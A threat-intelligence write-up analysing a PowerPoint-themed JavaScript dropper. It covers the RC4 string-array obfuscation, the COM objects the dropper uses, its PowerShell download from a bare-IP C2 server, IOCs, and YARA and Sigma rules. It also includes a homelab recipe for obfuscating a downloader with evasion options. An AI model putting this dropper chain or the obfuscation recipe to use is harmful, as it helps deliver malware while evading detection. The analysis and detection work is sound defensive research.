a8c581f2bffa2df03a2ec133b2c6b9d56dc4298bac141204c7f47bef0d26add2unclassified-js-pptx-dropper: a8c581f2 — javascript-obfuscator RC4 dropper fetching PowerShell from bare IP
Executive Summary
PowerPoint-themed JavaScript dropper (CATOLOG SLIDE PRESENTATION.PPTX.js) obfuscated with javascript-obfuscator RC4 string-array encryption. At runtime it instantiates WScript.Shell, Scripting.FileSystemObject, and MSXML2.XMLHTTP COM objects, downloads a PowerShell payload from http://2.27.62.18/web/update.ps1, writes it to a temp file, and executes via Shell.Run. Shares the obfuscation engine with itegroup-sbs-dropper but uses different C2 infrastructure and lacks the LNK-persistence stage observed there.
What It Is
- File:
CATOLOG SLIDE PRESENTATION.PPTX.js— social-engineering lure masquerading as a PowerPoint catalog. ^[metadata.json:5] - Type: JavaScript source, single line, 44 656 bytes. ^[file.txt:1]
- SHA-256:
a8c581f2bffa2df03a2ec133b2c6b9d56dc4298bac141204c7f47bef0d26add2 - ssdeep:
768:6FWAG1re53VflKNYIpMO4X+cg04EC0skqAtTc+MKjLMy3LCDCX4DrHNdH1IAvi6k:i+leAmWZqQVIVGTan^[triage.json:13] - Family:
unclassified-js-pptx-dropper(medium confidence). Samejavascript-obfuscatortooling as itegroup-sbs-dropper but distinct C2 (IP-based HTTP vs domain-based HTTPS), different lure theme, and no observed LNK persistence.
How It Works
The payload is an immediately-invoked function expression (IIFE) that returns an object with two methods: run() and configure(). On execution it:
- Instantiates COM objects —
Scripting.FileSystemObject,WScript.Shell,MSXML2.XMLHTTP. ^[js-harness:captured] - Configures an internal dict with
downloadUrl: 'http://2.27.62.18/web/update.ps1',tempDir, andretryCount: 2. ^[js-harness:captured] - Downloads the remote
.ps1viaXMLHTTP.Open('GET', url, false)/.Send(). ^[js-harness:captured] - Writes the response to a temp file via
FSO.CreateTextFile+Write+Close. ^[inferred from captured COM calls] - Executes the staged payload via
WScript.Shell.Runwith the file path. ^[inferred from captured COM calls]
No LNK shortcut creation, no registry writes, and no sandbox gate observed in this build — a stripped-down downloader compared to the itegroup-sbs-dropper sibling.
Build / RE
Obfuscator: javascript-obfuscator npm package (or derivative). Observable fingerprints:
- 372-element string array (
_0x4f3f7f) of base64-like segments encoded with a custom alphabet:abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=^[js-analysis:array-extraction] - Custom decoder
_0x1a87(g,e)performs base64 decode (custom alphabet → standard) + URL-decode (%XXhex) + RC4 decryption keyed by the salt stringe. ^[js-analysis:function-extraction] - Control-flow flattening via pipe-delimited numeric dispatch inside
while(!![])/switchblocks (e.g.'0|1|2|3|4|5'). ^[js-analysis:dispatch-pattern] - Dead-code IIFE wrappers aliasing every meaningful call to randomly-named local functions (
_0x3150f3,_0x3390b6, etc.). ^[strings.txt:1] - Anti-debug trap embedded in
_0x1a87: a prototype-polluter constructor_0x15f94dchecks whetherthis['kQpuGN'].toString()matches a hardcoded regex (\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*+[\x27|\x22].+[\x27|\x22];?\x20*}); on mismatch it decrements a counter and recurses. This is stockjavascript-obfuscatorself-defend / anti-tamper. ^[js-analysis:function-extraction] - No packing — plain
.jstext executed by WScript/CScript. ^[file.txt:1]
Code quality: Low. The entire script collapses to a simple downloader once the string array is decrypted. No anti-VM, no environment checks, no sandbox evasion beyond the self-defend trap.
Decompiled Behavior
The outer IIFE (~44 KB) constructs a module object via nested IIFEs and control-flow flattening. Key decoded strings observed at runtime (via Node.js mock harness):
| Decoded String | Context |
|---|---|
Scripting.FileSystemObject |
FSO instantiation for file write ^[js-harness:captured] |
WScript.Shell |
Shell execution ^[js-harness:captured] |
MSXML2.XMLHTTP |
HTTP download ^[js-harness:captured] |
http://2.27.62.18/web/update.ps1 |
Hardcoded C2 URL ^[js-harness:captured] |
downloadUrl |
Config key for C2 URL ^[js-harness:captured] |
tempDir |
Config key for staging directory ^[js-harness:captured] |
retryCount |
Config key set to 2 ^[js-harness:captured] |
run |
Exported module method name ^[js-harness:captured] |
configure |
Exported module method name ^[js-harness:captured] |
responseText |
Property read from XMLHTTP after download ^[js-harness:captured] |
CreateTextFile |
FSO method for payload staging ^[js-harness:captured] |
Write |
FSO method for writing downloaded bytes ^[js-harness:captured] |
Close |
FSO method closing the temp file ^[js-harness:captured] |
Run |
Shell.Run for executing the staged .ps1 ^[js-harness:captured] |
FileExists |
Pre-flight check before writing ^[js-harness:captured] |
DeleteFile |
Cleanup of existing file before staging ^[js-harness:captured] |
toString |
Used by the anti-debug self-defend trap ^[js-analysis:function-extraction] |
hasOwnProperty |
Config dict iteration guard ^[js-harness:captured] |
C2 Infrastructure
- URL:
http://2.27.62.18/web/update.ps1(plain HTTP, not TLS) - IP:
2.27.62.18— allocated to BT Group (British Telecom) per RIPE, but may be compromised/resold. ^[js-harness:captured] - Path:
/web/update.ps1— generic masquerade as a system update script. - No observed backup domains / DGA / hardcoded IPs beyond the single URL.
- No auth / no headers / no cookies in the captured
XMLHTTP.Opencall.
Interesting Tidbits
- Lure theme is PowerPoint, not invoice. This distinguishes it from the itegroup-sbs-dropper cluster which consistently uses invoice-themed filenames. ^[metadata.json:5]
- IP-based C2 over plain HTTP. No domain registration cost, no DNS trail, and no TLS certificate to validate. This is lower-opsec than the
.sbssubdomain used by the itegroup cluster. ^[js-harness:captured] - No persistence stage. Unlike the itegroup sibling which drops an LNK in
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup, this sample appears to be a one-shot downloader. The persistence may reside in the downloaded.ps1payload, which was not available for analysis. ^[js-harness:captured] - Retry logic with
retryCount: 2. The download loop attempts up to two retries before giving up. ^[js-harness:captured] - Anti-debug trap is present but never fires in a normal WScript environment. The trap only activates if the deobfuscator alters
.toString()behavior — a signature of automated unpacking tools. ^[js-analysis:function-extraction]
How To Mess With It (Homelab Replication)
- Obfuscate a simple downloader with
javascript-obfuscator:npm install -g javascript-obfuscator cat > payload.js <<'EOF' var url = "http://<lan>/test.ps1"; var xhr = new ActiveXObject("MSXML2.XMLHTTP"); xhr.Open("GET", url, false); xhr.Send(); WScript.Echo(xhr.ResponseText); EOF javascript-obfuscator payload.js --output obf.js \ --string-array true --string-array-encoding rc4 \ --control-flow-flattening true --dead-code-injection true \ --self-defending true - Verify the obfuscation matches: look for
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=custom alphabet in the decoder,while(!![])/switchdispatch blocks, and the_0xXXXX(0xNN,'salt')call pattern. - Run the mock harness (Node.js with COM mocks as in
/tmp/js_harness3.js) to exercise the payload without executing real shell commands. - Deobfuscate manually by extracting the string array, implementing the custom-alphabet base64 decoder, and RC4-decrypting each string with its per-call salt. The decoded script is a trivial downloader.
Deployable Signatures
YARA Rule
rule JS_javascript_obfuscator_rc4_dropper {
meta:
description = "Detects javascript-obfuscator RC4 string-array dropper with custom base64 alphabet"
author = "PacketPursuit"
date = "2026-06-16"
hash = "a8c581f2bffa2df03a2ec133b2c6b9d56dc4298bac141204c7f47bef0d26add2"
strings:
$alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=" ascii wide
$func_pattern = /var _0x[0-9a-f]+\s*=\s*\[/
$call_pattern = /_0x[0-9a-f]+\s*\(\s*0x[0-9a-f]+\s*,\s*'[^']+'\s*\)/
$while_switch = "while(!![]){switch"
$fso = "Scripting.FileSystemObject" nocase
$shell = "WScript.Shell" nocase
$xmlhttp = "MSXML2.XMLHTTP" nocase
condition:
$alphabet and ($func_pattern or $call_pattern) and $while_switch and
2 of ($fso, $shell, $xmlhttp) and filesize < 100KB
}
Sigma Rule
title: WScript spawning PowerShell after downloading remote script
status: experimental
description: Detects JS dropper execution chain where wscript.exe spawns powershell.exe after an HTTP download
logsource:
category: process_creation
product: windows
detection:
selection_parent:
ParentImage|endswith: '\\wscript.exe'
Image|endswith: '\\powershell.exe'
selection_download:
CommandLine|contains:
- '-ep bypass'
- '-executionpolicy bypass'
- '.ps1'
- 'http://'
condition: selection_parent and selection_download
falsepositives:
- Legitimate administrative scripts
level: high
Behavioral Fingerprint
This JavaScript dropper instantiates three COM objects (Scripting.FileSystemObject, WScript.Shell, MSXML2.XMLHTTP) in rapid succession within the first second of WScript execution. It performs an unauthenticated HTTP GET to a hardcoded IP address ending in /web/update.ps1, writes the response to a temp file, and executes it via Shell.Run. The script is obfuscated with javascript-obfuscator RC4 string-array encryption using a custom base64 alphabet. No LNK persistence, no registry modifications, and no sandbox evasion gates are present in the outer script.
IOC List
| Indicator | Value | Type |
|---|---|---|
| SHA-256 | a8c581f2bffa2df03a2ec133b2c6b9d56dc4298bac141204c7f47bef0d26add2 |
Hash |
| Filename | CATOLOG SLIDE PRESENTATION.PPTX.js |
Filename |
| C2 URL | http://2.27.62.18/web/update.ps1 |
URL |
| C2 IP | 2.27.62.18 |
IP |
| COM objects | Scripting.FileSystemObject, WScript.Shell, MSXML2.XMLHTTP |
Behavioral |
| Custom base64 alphabet | abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/= |
Decoder artifact |
Detection Signatures (ATT&CK Mapping)
| Tactic | Technique | Evidence |
|---|---|---|
| Initial Access | T1204.002 | PowerPoint-themed filename (CATOLOG SLIDE PRESENTATION.PPTX.js) ^[metadata.json:5] |
| Execution | T1059.005 | WScript/CScript .js execution as first stage ^[file.txt:1] |
| Execution | T1059.001 | PowerShell execution (inferred from .ps1 payload fetch) ^[js-harness:captured] |
| Defense Evasion | T1027.002 | javascript-obfuscator RC4 string-array + control-flow flattening ^[js-analysis:function-extraction] |
| Command & Control | T1071.001 | Plain HTTP GET to http://2.27.62.18/web/update.ps1 ^[js-harness:captured] |
| Ingress Tool Transfer | T1105 | Downloads remote .ps1 payload to disk ^[js-harness:captured] |
References
- Artifact ID:
4cb75227-a26f-427f-8ab8-c1572544a803(OpenCTI / MalwareBazaar) - Related entity: itegroup-sbs-dropper — invoice-themed JS dropper using the same
javascript-obfuscatortooling but with HTTPS domain C2 and LNK persistence. - Related concept: javascript-obfuscator — commercial JS obfuscation tooling
Provenance
file.txt—fileutility output (JavaScript source, ASCII text, very long lines) ^[file.txt:1]strings.txt— raw single-line obfuscated payload ^[strings.txt:1]metadata.json— OpenCTI artifact metadata (filename, source) ^[metadata.json:5]triage.json— triage pipeline output (family unattributed, tier deep) ^[triage.json]js_harness3.js— Node.js mock WScript/ActiveXObject harness executed on sample to capture runtime COM calls and decoded stringsdynamic-analysis.md— CAPE skipped (not a supported binary class for detonation) ^[dynamic-analysis.md:3]